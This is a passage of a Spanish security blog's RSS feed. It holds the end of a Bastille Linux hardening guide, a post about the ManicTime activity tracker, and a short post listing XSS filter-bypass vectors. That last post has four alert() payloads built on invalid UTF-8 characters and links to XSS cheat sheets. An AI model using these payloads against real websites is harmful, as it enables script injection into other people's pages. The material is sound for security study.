<strong>Would you like to set up process accounting? [N]:</strong> Linux tiene la capacidad de registrar los comandos cuando se ejecutan y por quién. Esto es muy útil para tratar de analizar que es lo que realmente ha hecho un usuario concreto. El inconveniente es que los parámetros de comandos no se registran, pero con Bastille tenemos la posibilidad de activarlo teniendo en cuenta el uso excesivo de CPU y de disco. A menos que usted haya examinado cuidadosamente esta opción, es recomendable que seleccione que &#8220;No&#8221;.</li>
<li><strong>Grupo:</strong> MiscellaneousDaemons<br />
<strong>Would you like to desactive NFS and Samba? [Y]: </strong>Se recomienda encarecidamente desactivar ambos servicios a menos de que lo uséis por motivos convencionales, ya que NFS tiene bastantes vulnerabilidades de seguridad y Samba (SMB) siendo un mejor sistema de archivos compartidos, todavía plantea graves preocupaciones de seguridad potencialmente indeseables. Ambos servicios se basan en texto claro, lo que significa que los datos transferidos pueden ser detectados.</li>
<li><strong>Grupo:</strong> MiscellaneousDaemonslike<br />
<strong>Would you like to deactivate the HP OfficeJet (hpoj) script in this machine? [Y]: </strong>Con este script podemos activar el Hewlett Packard (HP) multifuncional (impresión/escaneo/copia/fax) si la tuviéramos, por lo contrario, para desactivarla tendríamos que responder afirmativamente a Bastille.</li>
<li><strong>Grupo:</strong> MiscellaneousDaemons<br />
<strong>Would you to deactive the ISDN script on this machine? [Y]: </strong>La teconología <em>ISDN</em>, traducido al español <em>RDSI</em> <em>(Red digital de servicios integrados</em>) está por defecto activado en muchas distribuciones Linux, siendo ésta un método impopular de conexión a Internet (64 kbps) sustituido actualmente por IDSL ofreciendo un servicio básico de RDSI utilizando la tecnología <a href="http://es.wikipedia.org/wiki/DSL" target="_blank"><em>DSL</em></a> y así obteniendo un mayor ancho de banda, por lo que puede ser desactivado sin preocupación alguna.</li>
<li><strong>Grupo:</strong> Apache<br />
<strong>Would you like to bind the web server to listen only to the localhost? [N]:</strong> Bind es el proceso mediante el cual se &#8220;enlaza o liga&#8221; un servicio a una determinada dirección IP o nombre de host, en este caso lo que se busca es si se debería configurar el servidor Web para recibir sólo aquellas peticiones que se originen en la dirección 127.0.0.1 o localhost, evitando así un posible punto de acceso al sistema. Esto es útil solo para aquellos que hagan su desarrollo a nivel local y lo utilicen para tal fin. Y aquellos que tengan un servidor Web que deberá ser accedido desde fuera, obviamente deberán contestar &#8220;No&#8221; a esta pregunta.</li>
<li><strong>Grupo:</strong> Apache<br />
<strong>Would you like to bind the web server to a particular interface? [N]:</strong> Similar a la anterior, pero al nivel de interfaz de red.<strong></strong></li>
<li><strong>Grupo:</strong> Apache<strong><br />
Would you like to deactivate the following of symbolic links? [Y]: </strong>Impide que el servidor Web siga enlaces simbólicos ya que puede ser potencialmente peligroso. Su desactivación puede disminuir la probabilidad de que alguna vulnerabilidad en el futuro en Apache puede ser explotada.</li>
<li><strong>Grupo:</strong> TMPDIR<br />
<strong>Would you like to install TMPDIR/TMP scripts? [N]:</strong> Activar esta opción hará que Bastille instale unos scripts en las cuentas de los usuarios que configuren las variables TMPDIR y TMP de tal manera que utilicen directorios de ficheros temporales completamente individuales, en vez de que todos usen el <span style="font-style:italic;">/tmp</span> lo que puede ser extremadamente peligroso en entornos multiusuarios.</li>
<li><strong>Grupo:</strong> Firewall<br />
<strong>Would you like to run the packet filtering script? [N]:</strong> Utiliza un script para generar reglas de firewall. Este script solo tiene soporte para el IPChains del kernel 2.2 y para Iptables del kernel 2.4 (En caso de que un kernel 2.4 no tenga activo el soporte de iptables se usará IPChains). Este script puede ser problemático para los que utilicen kernels 2.6.x sin embargo puede utilizarse como punto de partida y luego ser modificado posteriormente para adaptarse mejor a las características del kernel. Contestar afirmativamente a esta pregunta generará posteriores preguntas que ayudarán al script a crear las reglas necesarias para el firewall (quienes pueden acceder al sistema desde la red, qué protocolos se pueden servir, qué se colocará en los logs referentes a los procesamientos de acceso, etc.)</li>
<li><strong>Grupo:</strong> PSAD<br />
<strong>Are you finished making changes to your Bastille configuration?:</strong> Y ¡por fin! hemos llegado al final de nuestra trayectoria. Si estamos seguros de la configuración respondemos afirmativamente.</li>
</ul>
<p>Finalmente, seleccionamos <strong>Go Back and Change Configuration</strong> para aplicar los cambios, pero si tan solo quisiéramos guardar la configuración, seleccionaríamos <strong>Exit Without Saving.</strong></p>
<p>Y hasta aquí hemos llegado. Todas las funciones que busca configurar Bastille se pueden hacer manualmente, Bastille lo que tan solo ofrece es la posibilidad de hacer todo mucho más sencillo. Además, cabe decir que existen distribuciones ya hechas que implementan muchas políticas de seguridad, normalmente tienen el mismo nombre de la distribución seguido de la palabra Hardened (por ejemplo: <a href="http://www.gentoo.org/proj/en/hardened/" target="_blank">Gentoo Hardened</a>) y otra muy buena opción es <a href="http://www.engardelinux.org/">Engarde Linux</a>.</p>
<p>Un saludo Pr0x.</p>
<br />Posted in Hardening, Tools Tagged: Administracion, Bastille, Hardening, HP-UX, Linux, MacOS X, security, seguridad, Sistemas, SysAdmin, Unix <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/arrivalsec.wordpress.com/129/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/arrivalsec.wordpress.com/129/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/arrivalsec.wordpress.com/129/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/arrivalsec.wordpress.com/129/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/arrivalsec.wordpress.com/129/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/arrivalsec.wordpress.com/129/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/arrivalsec.wordpress.com/129/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/arrivalsec.wordpress.com/129/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/arrivalsec.wordpress.com/129/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/arrivalsec.wordpress.com/129/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/arrivalsec.wordpress.com/129/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/arrivalsec.wordpress.com/129/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/arrivalsec.wordpress.com/129/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/arrivalsec.wordpress.com/129/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=arrivalsec.wordpress.com&amp;blog=7388461&amp;post=129&amp;subd=arrivalsec&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://arrivalsec.wordpress.com/2009/05/15/hardening-i-bastille-a-tool-for-sysadmins/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/687432d93052b771697e99c4a4c01931?s=96&#38;d=wavatar&#38;r=G" medium="image">
			<media:title type="html">Raúl M.</media:title>
		</media:content>

		<media:content url="http://arrivalsec.files.wordpress.com/2009/05/bastille.jpg" medium="image">
			<media:title type="html">Tk Bastille Image</media:title>
		</media:content>
	</item>
		<item>
		<title>ManicTime: Saber el tiempo que le dedicamos a cada aplicación</title>
		<link>http://arrivalsec.wordpress.com/2009/05/14/manictime-saber-el-tiempo-que-le-dedicamos-a-cada-aplicacion/</link>
		<comments>http://arrivalsec.wordpress.com/2009/05/14/manictime-saber-el-tiempo-que-le-dedicamos-a-cada-aplicacion/#comments</comments>
		<pubDate>Thu, 14 May 2009 15:07:21 +0000</pubDate>
		<dc:creator>Raúl</dc:creator>
				<category><![CDATA[Tools]]></category>
		<category><![CDATA[actividad]]></category>
		<category><![CDATA[Manictime]]></category>
		<category><![CDATA[monitorizar]]></category>
		<category><![CDATA[sistema]]></category>

		<guid isPermaLink="false">http://arrivalsec.wordpress.com/?p=116</guid>
		<description><![CDATA[ManicTime, es una aplicación encargada de monitorizar toda la actividad que realizamos en un sistema, siendo posible ejecutarla en segundo plano. Además, permitiéndonos añadir etiquetas para diferentes horarios. Básicamente, guarda todos estos datos para que posteriormente podamos verlos y navegar en ellos, así como el tiempo que están activos, permitiéndonos saber cuanto tiempo pasamos con [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=arrivalsec.wordpress.com&amp;blog=7388461&amp;post=116&amp;subd=arrivalsec&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><strong>ManicTime</strong>, es una aplicación encargada de monitorizar toda la actividad que realizamos en un sistema, siendo posible ejecutarla en segundo plano. Además, permitiéndonos añadir etiquetas para diferentes horarios.</p>
<p><img class="alignnone" title="ManicTime" src="http://arrivalsec.files.wordpress.com/2009/05/manictime13bfadcbhj2.jpg?w=495&#038;h=370" alt="" width="495" height="370" /></p>
<p>Básicamente, guarda todos estos datos para que posteriormente podamos verlos y navegar en ellos, así como el tiempo que están activos, permitiéndonos saber cuanto tiempo pasamos con el navegador, con el Office, o con cualquier otra aplicación que hayamos ejecutado usualmente.</p>
<p>Dichos datos, se van recopilando a través de tres líneas de tiempo:</p>
<p><strong>-</strong> <strong>Actividad:</strong> Muestra los periodos en los que hemos estado activo así como periodos inactivos.<br />
<strong>-</strong> <strong>Aplicaciones:</strong> Muestra que aplicaciones que hemos utilizado y por cuanto tiempo.<br />
<strong>-</strong> <strong>Tags:</strong> Muestra los tags que hayamos creado, pudiendo de esta forma, marcar periodos de tiempo en los que realizar tareas concretas.</p>
<p><strong>ManicTime es totalmente gratuito y funciona en Windows XP, Vista, 2003 y 2008.</strong></p>
<p>Descargar | <a href="http://www.manictime.com/" target="_blank">Manictime</a></p>
<br />Posted in Tools Tagged: actividad, Manictime, monitorizar, sistema <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/arrivalsec.wordpress.com/116/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/arrivalsec.wordpress.com/116/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/arrivalsec.wordpress.com/116/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/arrivalsec.wordpress.com/116/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/arrivalsec.wordpress.com/116/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/arrivalsec.wordpress.com/116/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/arrivalsec.wordpress.com/116/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/arrivalsec.wordpress.com/116/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/arrivalsec.wordpress.com/116/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/arrivalsec.wordpress.com/116/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/arrivalsec.wordpress.com/116/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/arrivalsec.wordpress.com/116/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/arrivalsec.wordpress.com/116/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/arrivalsec.wordpress.com/116/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=arrivalsec.wordpress.com&amp;blog=7388461&amp;post=116&amp;subd=arrivalsec&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://arrivalsec.wordpress.com/2009/05/14/manictime-saber-el-tiempo-que-le-dedicamos-a-cada-aplicacion/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/687432d93052b771697e99c4a4c01931?s=96&#38;d=wavatar&#38;r=G" medium="image">
			<media:title type="html">Raúl M.</media:title>
		</media:content>

		<media:content url="http://arrivalsec.files.wordpress.com/2009/05/manictime13bfadcbhj2.jpg" medium="image">
			<media:title type="html">ManicTime</media:title>
		</media:content>
	</item>
		<item>
		<title>Play &amp; Fun with JavaScript (XSS vectors)</title>
		<link>http://arrivalsec.wordpress.com/2009/05/11/play-fun-with-javascript-xss-vectors/</link>
		<comments>http://arrivalsec.wordpress.com/2009/05/11/play-fun-with-javascript-xss-vectors/#comments</comments>
		<pubDate>Mon, 11 May 2009 20:14:46 +0000</pubDate>
		<dc:creator>Lix</dc:creator>
				<category><![CDATA[XSS]]></category>
		<category><![CDATA[JS for fun & Profit]]></category>
		<category><![CDATA[unusual javascript]]></category>
		<category><![CDATA[vectores]]></category>

		<guid isPermaLink="false">http://arrivalsec.wordpress.com/?p=106</guid>
		<description><![CDATA[Es posible que algunos ya tengan más que visto este tipo de post, sin ir más lejos en 0verl0ad ya hay uno. Sin embargo al ver la última entrada de The Spanner, me animé a hacer ese post. A pesar de ser una microentrada me gustaría ir haciendo una recopilación de links útliles, que cada [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=arrivalsec.wordpress.com&amp;blog=7388461&amp;post=106&amp;subd=arrivalsec&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Es posible que algunos ya tengan más que visto este tipo de post, sin ir más lejos <a href="http://0verl0ad.blogspot.com/2009/02/xss-cheatsheet.html">en 0verl0ad ya hay uno</a>. Sin embargo al ver la última entrada de The Spanner, me animé a hacer ese post. A pesar de ser una microentrada me gustaría ir haciendo una recopilación de links útliles, que cada uno postee su forma de bypassear filtros o sus propios vectores.</p>
<p>Aquí mis típicos recursos.</p>
<p>UTF-8 invalids chars trick (no estaría mal hacer un artículo sobre esto que aprendí originalmente de <a href="http://voodoo-labs.org/blog/">c1c4tr1z </a>, sería divertido <img src='http://s1.wp.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  ) :</p>
<p>* 0xEE =<span style="color:#ff0000;"><strong> î</strong></span>&#8221; onmouseover=alert(/Chars/.source)<br />
* 0xDE = <strong><span style="color:#ff0000;">Þ</span></strong>&#8221; onmouseover=alert(/Chars/.source)<br />
* 0xC0  = <strong><span style="color:#ff0000;">À</span></strong>&#8221; onmouseover=alert(/Chars/.source)<br />
* 0xDF = <strong><span style="color:#ff0000;">ß</span></strong>&#8221; onmouseover=alert(/Chars/.source)</p>
<p>New Vectors/Unusual JavaScripts</p>
<p><a href="http://sla.ckers.org/forum/read.php?2,15812,page=1">http://sla.ckers.org/forum/read.php?2,15812</a></p>
<p>XSS Cheat Sheet</p>
<p><a href="http://ha.ckers.org/xss.html">http://ha.ckers.org/xss.html</a></p>
<p>PHP Charset Encoder (recomendado)</p>
<p><a href="http://h4k.in/encoding/">http://h4k.in/encoding/</a></p>
<p>Opera XSS Vectors</p>
<p><a href="http://www.thespanner.co.uk/2009/05/08/opera-xss-vectors/">http://www.thespanner.co.uk/2009/05/08/opera-xss-vectors/</a></p>
<p>Hackvertor (recomendado)</p>
<p><a href="http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php">http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php</a></p>
<p>Saludos!</p>
<br />Posted in XSS Tagged: JS for fun &amp; Profit, unusual javascript, vectores, XSS <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/arrivalsec.wordpress.com/106/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/arrivalsec.wordpress.com/106/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/arrivalsec.wordpress.com/106/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/arrivalsec.wordpress.com/106/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/arrivalsec.wordpress.com/106/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/arrivalsec.wordpress.com/106/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/arrivalsec.wordpress.com/106/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/arrivalsec.wordpress.com/106/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/arrivalsec.wordpress.com/106/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/arrivalsec.wordpress.com/106/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/arrivalsec.wordpress.com/106/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/arrivalsec.wordpress.com/106/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/arrivalsec.wordpress.com/106/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/arrivalsec.wordpress.com/106/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=arrivalsec.wordpress.com&amp;blog=7388461&amp;post=106&amp;subd=arrivalsec&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://arrivalsec.wordpress.com/2009/05/11/play-fun-with-javascript-xss-vectors/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/2f5687747fd22b7e225a0044f0ba6abc?s=96&#38;d=wavatar&#38;r=G" medium="image">
			<media:title type="html">Lix</media:title>
		</media:content>
	</item>
	</channel>
</rss>
